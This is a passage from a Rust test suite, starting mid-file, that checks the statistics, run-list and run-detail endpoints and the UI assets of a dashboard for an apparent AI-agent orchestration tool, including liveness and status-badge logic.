14094 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
14095 assert!(APP_CSS.contains(".precision-scatter"));
14096 }
14097
14098 #[test]
14099 fn advisor_reflection_is_drawn_as_stacked_segments() {
14100 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
14101 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
14102 let html = include_str!("../assets/ui/index.html");
14103 assert!(html.contains("Approximate"));
14104 for label in ["reflected strongly", "faint", "no proposal"] {
14105 assert!(html.contains(label));
14106 }
14107 let css = include_str!("../assets/ui/app.css");
14108 for c in ["refl-strong", "refl-faint", "refl-absent"] {
14109 assert!(css.contains(&format!(".{c} {{")));
14110 }
14111 }
14112
14113 #[test]
14114 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
14115 assert!(APP_JS.contains("function statsDailyPlan("));
14116 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
14117 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
14118 }
14119
14120 #[test]
14121 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
14122 let start = APP_JS
14123 .find("function scheduleSearch(")
14124 .expect("scheduleSearch exists");
14125 let body = &APP_JS[start..];
14126 let body = &body[..body.find("\n}\n").expect("function end")];
14127 assert!(body.contains("s.seq += 1"));
14128 }
14129
14130 #[tokio::test]
14135 async fn stats_runs_unreadable_matches_health() {
14136 let f = Fixture::start().await;
14137 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14138 let broken = f.runs().join("20260902-140502-bad");
14139 std::fs::create_dir_all(&broken).expect("run dir");
14140 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14141
14142 let stats = f.get("/api/stats").await;
14143 let health = f.get("/api/health").await;
14144
14145 assert_eq!(stats.status, 200);
14146 assert_eq!(stats.json()["totals"]["runs"], 1);
14147 assert_eq!(stats.json()["runs_unreadable"], 1);
14148 assert_eq!(
14149 stats.json()["runs_unreadable"],
14150 health.json()["runs_unreadable"],
14151 "the dashboard and /api/health must never disagree about how many \
14152 runs could not be read"
14153 );
14154 }
14155
14156 #[tokio::test]
14157 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
14158 let f = Fixture::start().await;
14159 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14160 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
14161 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
14162
14163 let totals = &f.get("/api/stats").await.json()["totals"];
14164 assert_eq!(totals["runs"], 3);
14165 assert_eq!(totals["merged"], 1);
14166 assert_eq!(totals["stalled"], 1);
14167 assert_eq!(totals["in_progress"], 1);
14168 assert_eq!(totals["blocked"], 0);
14171 assert_eq!(totals["ready"], 0);
14172 }
14173
14174 #[tokio::test]
14175 async fn stats_advisors_report_proposals_and_reflection() {
14176 use crate::advise::{Advice, AdvisorRecord, Reflection};
14177 use crate::verdict::Proposal;
14178
14179 let f = Fixture::start().await;
14180 let mut state = RunState::new(
14181 PathBuf::from("/repo/magi"),
14182 "main".to_owned(),
14183 "0123456789abcdef".to_owned(),
14184 "task".to_owned(),
14185 Config::default(),
14186 );
14187 state.id = "20260902-140501-a".to_owned();
14188 state.status = RunStatus::Merged;
14189 state.advice = Some(Advice {
14190 records: vec![
14191 AdvisorRecord {
14192 seat: "advisor-1".to_owned(),
14193 agent: "alpha".to_owned(),
14194 proposal: Some(Proposal {
14195 approach: "do it".to_owned(),
14196 key_tradeoff: "speed over memory".to_owned(),
14197 risks: Vec::new(),
14198 touches: Vec::new(),
14199 why_not_naive: "breaks under load".to_owned(),
14200 }),
14201 error: None,
14202 duration_ms: 0,
14203 reflection: Reflection::Strong,
14204 },
14205 AdvisorRecord {
14206 seat: "advisor-2".to_owned(),
14207 agent: "alpha".to_owned(),
14208 proposal: None,
14209 error: Some("timed out".to_owned()),
14210 duration_ms: 0,
14211 reflection: Reflection::Absent,
14212 },
14213 ],
14214 synthesis: Some("blended brief".to_owned()),
14215 });
14216 let dir = f.runs().join(&state.id);
14217 std::fs::create_dir_all(&dir).expect("run dir");
14218 std::fs::write(
14219 dir.join("run.json"),
14220 serde_json::to_string_pretty(&state).expect("serialize run"),
14221 )
14222 .expect("write run.json");
14223
14224 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
14226 let alpha = advisors
14227 .as_array()
14228 .expect("an array")
14229 .iter()
14230 .find(|a| a["agent"] == "alpha")
14231 .expect("alpha row");
14232 assert_eq!(alpha["seated"], 2);
14233 assert_eq!(alpha["proposed"], 1);
14234 assert_eq!(alpha["absent"], 1);
14235 assert_eq!(alpha["strong"], 1);
14236 assert_eq!(alpha["faint"], 0);
14237 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
14238 }
14239
14240 #[tokio::test]
14241 async fn stats_hides_agents_outside_the_roster_unless_all() {
14242 use crate::run::Candidate;
14243 let repo = TempDir::new().expect("repo dir");
14244 std::fs::write(
14245 repo.path().join("magi.toml"),
14246 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
14247 )
14248 .expect("magi.toml");
14249 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
14250 let mut state = RunState::new(
14251 PathBuf::from("/repo/magi"),
14252 "main".to_owned(),
14253 "0123456789abcdef".to_owned(),
14254 "task".to_owned(),
14255 Config::default(),
14256 );
14257 state.id = "20260902-140501-a".to_owned();
14258 state.status = RunStatus::Merged;
14259 for (label, agent) in [('A', "keep"), ('B', "retired")] {
14260 let mut c: Candidate = serde_json::from_value(serde_json::json!({
14261 "index": 0, "label": label.to_string(), "agent": agent,
14262 "branch": "b", "worktree": "/w",
14263 }))
14264 .expect("candidate");
14265 c.label = label;
14266 state.candidates.push(c);
14267 }
14268 let dir = f.runs().join(&state.id);
14269 std::fs::create_dir_all(&dir).expect("run dir");
14270 std::fs::write(
14271 dir.join("run.json"),
14272 serde_json::to_string_pretty(&state).expect("serialize run"),
14273 )
14274 .expect("write run.json");
14275
14276 let agents_of = |v: &serde_json::Value| -> Vec<String> {
14277 v["agents"]
14278 .as_array()
14279 .expect("array")
14280 .iter()
14281 .map(|a| a["agent"].as_str().unwrap().to_owned())
14282 .collect()
14283 };
14284 let hidden = f.get("/api/stats").await.json();
14285 assert_eq!(agents_of(&hidden), ["keep"]);
14286 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
14287 assert_eq!(hidden["totals"]["runs"], 1);
14288
14289 let all = f.get("/api/stats?all=true").await.json();
14290 assert_eq!(agents_of(&all).len(), 2);
14291 assert_eq!(all["retired_hidden"], serde_json::json!([]));
14292 let keep_agent = all["agents"]
14294 .as_array()
14295 .unwrap()
14296 .iter()
14297 .find(|a| a["agent"] == "keep")
14298 .unwrap();
14299 assert_eq!(keep_agent["competitive_entered"], 1);
14300 assert_eq!(keep_agent["competitive_wins"], 0);
14301 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
14302 assert_eq!(keep_agent["solo_entered"], 0);
14303 assert_eq!(keep_agent["solo_adopted"], 0);
14304 assert!(keep_agent["solo_adoption_rate"].is_null());
14305 }
14306
14307 #[tokio::test]
14308 async fn stats_release_bumps_split_clean_from_attention() {
14309 use crate::run::ReleaseBump;
14310
14311 let f = Fixture::start().await;
14312
14313 let mut clean = RunState::new(
14314 PathBuf::from("/repo/magi"),
14315 "main".to_owned(),
14316 "0123456789abcdef".to_owned(),
14317 "task".to_owned(),
14318 Config::default(),
14319 );
14320 clean.id = "20260902-140501-a".to_owned();
14321 clean.status = RunStatus::Merged;
14322 clean.release_bump = Some(ReleaseBump {
14323 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
14324 version: Some("1.0.0".to_owned()),
14325 automerge_enabled: true,
14326 merged_directly: false,
14327 local: false,
14328 release: None,
14329 problem: None,
14330 action_required: None,
14331 });
14332
14333 let mut blocked = RunState::new(
14334 PathBuf::from("/repo/magi"),
14335 "main".to_owned(),
14336 "0123456789abcdef".to_owned(),
14337 "task".to_owned(),
14338 Config::default(),
14339 );
14340 blocked.id = "20260902-140502-b".to_owned();
14341 blocked.status = RunStatus::Merged;
14342 blocked.release_bump = Some(ReleaseBump {
14343 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
14344 version: Some("1.0.1".to_owned()),
14345 automerge_enabled: false,
14346 merged_directly: false,
14347 local: false,
14348 release: None,
14349 problem: Some("checks red".to_owned()),
14350 action_required: Some("look at the PR".to_owned()),
14351 });
14352
14353 for state in [&clean, &blocked] {
14354 let dir = f.runs().join(&state.id);
14355 std::fs::create_dir_all(&dir).expect("run dir");
14356 std::fs::write(
14357 dir.join("run.json"),
14358 serde_json::to_string_pretty(state).expect("serialize run"),
14359 )
14360 .expect("write run.json");
14361 }
14362
14363 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14364 assert_eq!(bumps["merged"], 2);
14365 assert_eq!(bumps["recorded"], 2);
14366 assert_eq!(bumps["pr_opened"], 2);
14367 assert_eq!(bumps["automerge_enabled"], 1);
14368 assert_eq!(bumps["needs_attention"], 1);
14369 assert_eq!(bumps["clean"], 1);
14370 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
14371 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
14372 }
14373
14374 #[tokio::test]
14375 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
14376 let f = Fixture::start().await;
14377 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
14378
14379 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
14380 assert_eq!(bumps["merged"], 1);
14381 assert_eq!(bumps["recorded"], 0);
14382 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
14385 assert_eq!(bumps["automerge_rate"], Value::Null);
14388 assert_eq!(bumps["attention_rate"], Value::Null);
14389 }
14390
14391 #[tokio::test]
14392 async fn stats_queue_counts_come_from_the_live_queue() {
14393 let f = Fixture::start().await;
14394 let q = f.queue();
14395 let mut queued = Task::new(
14396 "queued task".to_owned(),
14397 "do it".to_owned(),
14398 PathBuf::from("/repo"),
14399 Source::Human,
14400 );
14401 q.put(&mut queued).expect("put queued");
14402 let mut held = Task::new(
14403 "held task".to_owned(),
14404 "do it later".to_owned(),
14405 PathBuf::from("/repo"),
14406 Source::Human,
14407 );
14408 held.hold_machine(Some("out of attempts".to_owned()));
14409 q.put(&mut held).expect("put held");
14410
14411 let queue = f.get("/api/stats").await.json()["queue"].clone();
14412 assert_eq!(queue["queued"], 1);
14413 assert_eq!(queue["held"], 1);
14414 assert_eq!(queue["running"], 0);
14415 assert_eq!(queue["done"], 0);
14416 assert_eq!(queue["failed"], 0);
14417 assert_eq!(queue["blocked"], 0);
14418 }
14419
14420 #[tokio::test]
14421 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
14422 let f = Fixture::start().await;
14423 let stats = f.get("/api/stats").await;
14424 assert_eq!(stats.status, 200);
14425 assert_eq!(stats.json()["totals"]["runs"], 0);
14426 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
14427 assert_eq!(stats.json()["runs_unreadable"], 0);
14428 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
14429 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
14430 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
14431 assert_eq!(stats.json()["repo"], Value::Null);
14432 }
14433
14434 #[tokio::test]
14435 async fn stats_lists_every_repository_with_runs_recorded() {
14436 let f = Fixture::start().await;
14437 write_run_repo(
14438 &f.runs(),
14439 "20260902-140501-a",
14440 RunStatus::Merged,
14441 "/repos/a",
14442 );
14443 write_run_repo(
14444 &f.runs(),
14445 "20260902-140502-b",
14446 RunStatus::Merged,
14447 "/repos/a",
14448 );
14449 write_run_repo(
14450 &f.runs(),
14451 "20260902-140503-c",
14452 RunStatus::Blocked,
14453 "/repos/b",
14454 );
14455
14456 let stats = f.get("/api/stats").await;
14457 assert_eq!(stats.status, 200);
14458 assert_eq!(stats.json()["totals"]["runs"], 3);
14460 assert_eq!(stats.json()["repo"], Value::Null);
14461
14462 let repos = stats.json()["repos"].clone();
14463 let repos = repos.as_array().unwrap();
14464 assert_eq!(repos.len(), 2);
14465 assert_eq!(repos[0]["repo"], "/repos/a");
14467 assert_eq!(repos[0]["name"], "a");
14468 assert_eq!(repos[0]["runs"], 2);
14469 assert_eq!(repos[1]["repo"], "/repos/b");
14470 assert_eq!(repos[1]["runs"], 1);
14471 }
14472
14473 #[tokio::test]
14474 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
14475 let f = Fixture::start().await;
14476 write_run_repo(
14477 &f.runs(),
14478 "20260902-140501-a",
14479 RunStatus::Merged,
14480 "/repos/a",
14481 );
14482 write_run_repo(
14483 &f.runs(),
14484 "20260902-140502-b",
14485 RunStatus::Blocked,
14486 "/repos/b",
14487 );
14488
14489 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
14490 assert_eq!(stats.status, 200);
14491 assert_eq!(stats.json()["totals"]["runs"], 1);
14492 assert_eq!(stats.json()["totals"]["merged"], 1);
14493 assert_eq!(stats.json()["repo"], "/repos/a");
14494 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
14497 assert_eq!(stats.json()["runs_unreadable"], 0);
14500 }
14501
14502 #[tokio::test]
14503 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
14504 let f = Fixture::start().await;
14505 write_run_repo(
14506 &f.runs(),
14507 "20260902-140501-a",
14508 RunStatus::Merged,
14509 "/repos/a",
14510 );
14511 write_run_repo(
14512 &f.runs(),
14513 "20260902-140502-b",
14514 RunStatus::Merged,
14515 "/repos/b",
14516 );
14517
14518 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
14519 let json = f.get(uri).await.json();
14520 let daily = json["daily"].as_array().expect("daily is an array");
14521 assert_eq!(daily.len(), 30);
14522 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
14523 let mut sorted = dates.clone();
14524 sorted.sort();
14525 assert_eq!(dates, sorted);
14526 for d in daily {
14527 assert_eq!(
14528 d["merged"].as_u64().unwrap()
14529 + d["ready"].as_u64().unwrap()
14530 + d["other"].as_u64().unwrap(),
14531 d["runs"].as_u64().unwrap()
14532 );
14533 }
14534 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
14535 }
14536 }
14537
14538 #[tokio::test]
14539 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
14540 let f = Fixture::start().await;
14541 write_run_repo(
14542 &f.runs(),
14543 "20260902-140501-a",
14544 RunStatus::Merged,
14545 "/repos/a",
14546 );
14547
14548 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
14549 assert_eq!(stats.status, 404);
14550 }
14551
14552 #[tokio::test]
14553 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
14554 let f = Fixture::start().await;
14555 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
14556
14557 let summary = f.get("/api/runs").await.json();
14558 let row = &summary[0];
14559 assert_eq!(row["short"], "a1b2");
14560 assert_eq!(row["status"], "ready");
14561 assert_eq!(row["done"], true);
14562 assert_eq!(row["title"], "Add a web UI");
14563 assert_eq!(row["repo_name"], "magi");
14564 assert_eq!(row["judges"], 3);
14565 assert_eq!(row["winner"], Value::Null);
14566 assert_eq!(row["reviews"], 0);
14567
14568 let detail = f.get("/api/runs/a1b2").await;
14571 assert_eq!(detail.status, 200);
14572 assert_eq!(detail.json()["base_branch"], "main");
14573 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
14574 }
14575
14576 #[tokio::test]
14584 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
14585 let f = Fixture::start().await;
14586
14587 let mut none_run = RunState::new(
14588 PathBuf::from("/repo/magi"),
14589 "main".to_owned(),
14590 "0123456789abcdef".to_owned(),
14591 "Add a web UI".to_owned(),
14592 Config::default(),
14593 );
14594 none_run.id = "20260902-140503-none".to_owned();
14595 none_run.status = RunStatus::Ready;
14596 none_run.merge = Some(crate::run::MergeOutcome {
14597 mode: crate::config::MergeMode::None,
14598 ok: true,
14599 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
14600 empty: false,
14601 });
14602 write_state(&f.runs(), &none_run);
14603
14604 let mut pr_run = RunState::new(
14605 PathBuf::from("/repo/magi"),
14606 "main".to_owned(),
14607 "0123456789abcdef".to_owned(),
14608 "Add a web UI".to_owned(),
14609 Config::default(),
14610 );
14611 pr_run.id = "20260902-140504-prcl".to_owned();
14612 pr_run.status = RunStatus::Ready;
14613 pr_run.merge = Some(crate::run::MergeOutcome {
14614 mode: crate::config::MergeMode::Pr,
14615 ok: false,
14616 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
14617 empty: false,
14618 });
14619 write_state(&f.runs(), &pr_run);
14620
14621 let summary = f.get("/api/runs").await.json();
14622 let rows: std::collections::HashMap<&str, &Value> = summary
14623 .as_array()
14624 .expect("an array")
14625 .iter()
14626 .map(|r| (r["id"].as_str().expect("an id"), r))
14627 .collect();
14628 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
14629 assert_eq!(
14630 rows[none_run.id.as_str()]["unmerged_by_design"],
14631 true,
14632 "a mode-none Ready must be flagged in the list"
14633 );
14634 assert_eq!(
14635 rows[pr_run.id.as_str()]["unmerged_by_design"],
14636 false,
14637 "a Ready reached by a closed pull request is a different case"
14638 );
14639
14640 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
14641 assert_eq!(none_detail["status"], "ready");
14642 assert_eq!(none_detail["unmerged_by_design"], true);
14643
14644 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
14645 assert_eq!(pr_detail["unmerged_by_design"], false);
14646 }
14647
14648 #[tokio::test]
14653 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
14654 let f = Fixture::start().await;
14655 let id = "20260902-140502-bbbb";
14659 let mut state = RunState::new(
14660 PathBuf::from("/repo/magi"),
14661 "main".to_owned(),
14662 "0123456789abcdef".to_owned(),
14663 "Add a web UI".to_owned(),
14664 Config::default(),
14665 );
14666 state.id = id.to_owned();
14667 state.status = RunStatus::Judging;
14668 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
14669 let dir = f.runs().join(id);
14670 std::fs::create_dir_all(&dir).expect("run dir");
14671 std::fs::write(
14672 dir.join("run.json"),
14673 serde_json::to_string_pretty(&state).expect("serialize run"),
14674 )
14675 .expect("write run.json");
14676
14677 let cold = f.get(&format!("/api/runs/{id}")).await.json();
14683 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
14684 assert_eq!(cold["live"], "unknown", "{cold}");
14685
14686 write_daemon(f.home.path(), Timestamp::now());
14689 let warm = f.get(&format!("/api/runs/{id}")).await.json();
14690 assert_eq!(warm["live"], "live", "{warm}");
14691 }
14692
14693 #[tokio::test]
14696 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
14697 let f = Fixture::start().await;
14698 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
14699 let mut state = RunState::new(
14700 PathBuf::from("/repo/magi"),
14701 "main".to_owned(),
14702 "0123456789abcdef".to_owned(),
14703 "Add a web UI".to_owned(),
14704 Config::default(),
14705 );
14706 state.id = id.to_owned();
14707 state.origin = origin;
14708 let mut value = serde_json::to_value(&state).expect("serialize run");
14709 if let Some(schema) = schema {
14710 value["schema"] = serde_json::json!(schema);
14711 value.as_object_mut().unwrap().remove("origin");
14712 }
14713 let dir = f.runs().join(id);
14714 std::fs::create_dir_all(&dir).expect("run dir");
14715 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14716 };
14717 write(
14718 "20260930-092817-ec34",
14719 Some(crate::run::Origin::from_agent_env(
14720 Some(("4a7b".to_owned(), "chat".to_owned())),
14721 None,
14722 )),
14723 None,
14724 );
14725 write("20260930-092817-0ld1", None, Some(12));
14726
14727 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14728 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14729 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14730
14731 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14732 assert_eq!(
14733 old["origin_label"], "origin unknown (started before origins were recorded)",
14734 "{old}"
14735 );
14736 assert!(old["origin"].is_null(), "{old}");
14737
14738 let list = f.get("/api/runs").await.json();
14739 let labels: Vec<_> = list
14740 .as_array()
14741 .unwrap()
14742 .iter()
14743 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14744 .collect();
14745 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14746 }
14747
14748 #[tokio::test]
14755 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14756 let f = Fixture::start().await;
14757 let id = "20260922-090000-cccc";
14758 let mut state = RunState::new(
14759 PathBuf::from("/repo/magi"),
14760 "main".to_owned(),
14761 "0123456789abcdef".to_owned(),
14762 "Review only".to_owned(),
14763 Config::default(),
14764 );
14765 state.id = id.to_owned();
14766 state.status = RunStatus::Reviewing;
14767 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14768 state.driver_pid = Some(std::process::id());
14774 state.driver_started_at = Some(
14775 crate::proc::process_started_at(std::process::id())
14776 .expect("this test process's own start time must be queryable"),
14777 );
14778 let dir = f.runs().join(id);
14779 std::fs::create_dir_all(&dir).expect("run dir");
14780 std::fs::write(
14781 dir.join("run.json"),
14782 serde_json::to_string_pretty(&state).expect("serialize run"),
14783 )
14784 .expect("write run.json");
14785
14786 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14787 assert_eq!(detail["live"], "live", "{detail}");
14788 }
14789
14790 #[tokio::test]
14796 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14797 let f = Fixture::start().await;
14798 let id = "20260922-090100-dddd";
14799 let mut state = RunState::new(
14800 PathBuf::from("/repo/magi"),
14801 "main".to_owned(),
14802 "0123456789abcdef".to_owned(),
14803 "Review only".to_owned(),
14804 Config::default(),
14805 );
14806 state.id = id.to_owned();
14807 state.status = RunStatus::Reviewing;
14808 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14809 state.driver_pid = Some(std::process::id());
14814 state.driver_started_at = Some("1".to_owned());
14815 let dir = f.runs().join(id);
14816 std::fs::create_dir_all(&dir).expect("run dir");
14817 std::fs::write(
14818 dir.join("run.json"),
14819 serde_json::to_string_pretty(&state).expect("serialize run"),
14820 )
14821 .expect("write run.json");
14822
14823 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14824 assert_eq!(detail["live"], "dead", "{detail}");
14825 }
14826
14827 #[test]
14831 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14832 let mk = |id: &str, pid: Option<u32>| {
14833 let mut s = RunState::new(
14834 PathBuf::from("/repo/magi"),
14835 "main".to_owned(),
14836 "0123456789abcdef".to_owned(),
14837 "Add a web UI".to_owned(),
14838 Config::default(),
14839 );
14840 s.id = id.to_owned();
14841 s.driver_pid = pid;
14842 s.driver_started_at = Some("1790000000".to_owned());
14843 s
14844 };
14845 let states = vec![
14846 mk("20260902-140502-aaaa", Some(77)),
14847 mk("20260902-140502-bbbb", Some(77)),
14848 mk("20260902-140502-cccc", Some(77)),
14849 mk("20260902-140502-dddd", None),
14850 ];
14851 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14852 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14853 let sup: HashMap<String, String> = [(
14854 "20260902-140502-aaaa".to_owned(),
14855 "20260902-140502-cccc".to_owned(),
14856 )]
14857 .into();
14858
14859 let status_calls = std::cell::Cell::new(0);
14860 let identity_calls = std::cell::Cell::new(0);
14861 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14862 |_| {
14863 status_calls.set(status_calls.get() + 1);
14864 Some(true)
14865 },
14866 |_| {
14867 identity_calls.set(identity_calls.get() + 1);
14868 Some("1790000000".to_owned())
14869 },
14870 ));
14871 let rows = summarize(
14872 states,
14873 &open,
14874 &claimed,
14875 &sup,
14876 |p| probe.borrow_mut().status(p),
14877 |p| probe.borrow_mut().started_at(p),
14878 );
14879
14880 assert_eq!(status_calls.get(), 1, "one pid, one status query");
14881 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14882 assert_eq!(rows.len(), 4);
14883 assert!(!rows[0].waiting && rows[1].waiting);
14884 assert_eq!(rows[0].live, crate::run::Liveness::Live);
14885 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14886 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14887 assert_eq!(rows[1].superseded_by, None);
14888 }
14889
14890 #[test]
14891 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14892 let mut state = RunState::new(
14893 PathBuf::from("/repo/magi"),
14894 "main".to_owned(),
14895 "0123456789abcdef".to_owned(),
14896 "Review only".to_owned(),
14897 Config::default(),
14898 );
14899 state.id = "20260922-090200-dead".to_owned();
14900 state.status = RunStatus::Reviewing;
14901 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14902 .expect("serialize list row");
14903 assert_eq!(row["status"], "reviewing");
14904 assert_eq!(row["display_status"], "stale");
14905 assert_eq!(row["live"], "dead", "{row}");
14906 assert!(!row["done"].as_bool().unwrap());
14907 }
14908
14909 #[test]
14910 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14911 use crate::run::Liveness::{Dead, Live, Unknown};
14912 let mut state = RunState::new(
14913 PathBuf::from("/repo/magi"),
14914 "main".to_owned(),
14915 "abc".to_owned(),
14916 "Review only".to_owned(),
14917 Config::default(),
14918 );
14919 for (status, parked, node, waiting, live, expected) in [
14920 (
14921 RunStatus::Judging,
14922 true,
14923 "github-text",
14924 false,
14925 Dead,
14926 "parked",
14927 ),
14928 (RunStatus::Judging, false, "park", false, Dead, "stale"),
14929 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14930 (
14931 RunStatus::Judging,
14932 true,
14933 "github-text",
14934 true,
14935 Dead,
14936 "waiting",
14937 ),
14938 (
14939 RunStatus::Judging,
14940 false,
14941 "github-text",
14942 true,
14943 Dead,
14944 "waiting",
14945 ),
14946 (
14947 RunStatus::Judging,
14948 false,
14949 "github-text",
14950 false,
14951 Dead,
14952 "stale",
14953 ),
14954 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14955 (RunStatus::Judging, true, "park", false, Live, "judging"),
14956 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14957 (RunStatus::Merged, true, "park", false, Dead, "merged"),
14958 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14959 (
14960 RunStatus::Blocked,
14961 true,
14962 "github-text",
14963 true,
14964 Dead,
14965 "waiting",
14966 ),
14967 ] {
14968 state.status = status;
14969 state.parked = parked;
14970 state.events.clear();
14971 state.event(
14972 "park",
14973 "an earlier park does not determine the latest state",
14974 );
14975 state.event(node, "message is not used for classification");
14976 let summary = RunSummary::of(&state, waiting, live);
14977 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14978 assert_eq!(
14979 summary.display_status, expected,
14980 "{status:?}/{node}/{live:?}"
14981 );
14982 assert_eq!(detail.display_status, summary.display_status);
14983 assert_eq!(detail.waiting, summary.waiting);
14984 }
14985 state.status = RunStatus::Judging;
14986 state.parked = false;
14987 state.events.clear();
14988 assert_eq!(run_display_status(&state, false, Dead), "stale");
14989 }
14990
14991 #[test]
14992 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
14993 use crate::run::Liveness::{Dead, Live, Unknown};
14994 let mut state = RunState::new(
14995 PathBuf::from("/repo/magi"),
14996 "main".to_owned(),
14997 "abc".to_owned(),
14998 "Badge".to_owned(),
14999 Config::default(),
15000 );
15001 for (status, waiting, live, superseded, expected) in [
15002 (RunStatus::Gating, false, Dead, false, "stale"),
15003 (RunStatus::Gating, false, Dead, true, "superseded"),
15004 (RunStatus::Gating, false, Unknown, true, "superseded"),
15005 (RunStatus::Gating, true, Dead, true, "superseded"),
15006 (RunStatus::Gating, true, Dead, false, "waiting"),
15007 (RunStatus::Gating, false, Unknown, false, "gating"),
15008 (RunStatus::Gating, false, Live, true, "gating"),
15009 (RunStatus::Gating, true, Live, true, "waiting"),
15010 (RunStatus::Merged, false, Dead, true, "merged"),
15011 (RunStatus::Blocked, false, Dead, true, "blocked"),
15012 ] {
15013 state.status = status;
15014 let display = run_display_status(&state, waiting, live);
15015 assert_eq!(
15016 run_badge_status(&state, &display, live, superseded),
15017 expected,
15018 "{status:?}/{live:?}/superseded={superseded}"
15019 );
15020 }
15021 }
15022
15023 #[test]
15024 fn summarize_and_detail_expose_badge_status() {
15025 use crate::run::Liveness::Dead;
15026 let mut state = RunState::new(
15027 PathBuf::from("/repo/magi"),
15028 "main".to_owned(),
15029 "abc".to_owned(),
15030 "Badge".to_owned(),
15031 Config::default(),
15032 );
15033 state.status = RunStatus::Gating;
15034 let none = HashSet::new();
15035 let id = state.id.clone();
15036 let mut by = HashMap::new();
15037 let rows = summarize(
15038 [state.clone()],
15039 &none,
15040 &none,
15041 &by,
15042 |_| Some(false),
15043 |_| None,
15044 );
15045 assert_eq!(rows[0].badge_status, rows[0].display_status);
15047 by.insert(id, "20260901-000000-913b".to_owned());
15048 let detail = RunDetailView::of(
15049 state.clone(),
15050 false,
15051 Dead,
15052 Some("913b".to_owned()),
15053 None,
15054 None,
15055 );
15056 assert_eq!(detail.badge_status, "superseded");
15057 let json = serde_json::to_value(&detail).unwrap();
15058 assert_eq!(json["badge_status"], "superseded");
15059 let detail = RunDetailView::of(state, false, Dead, None, None, None);
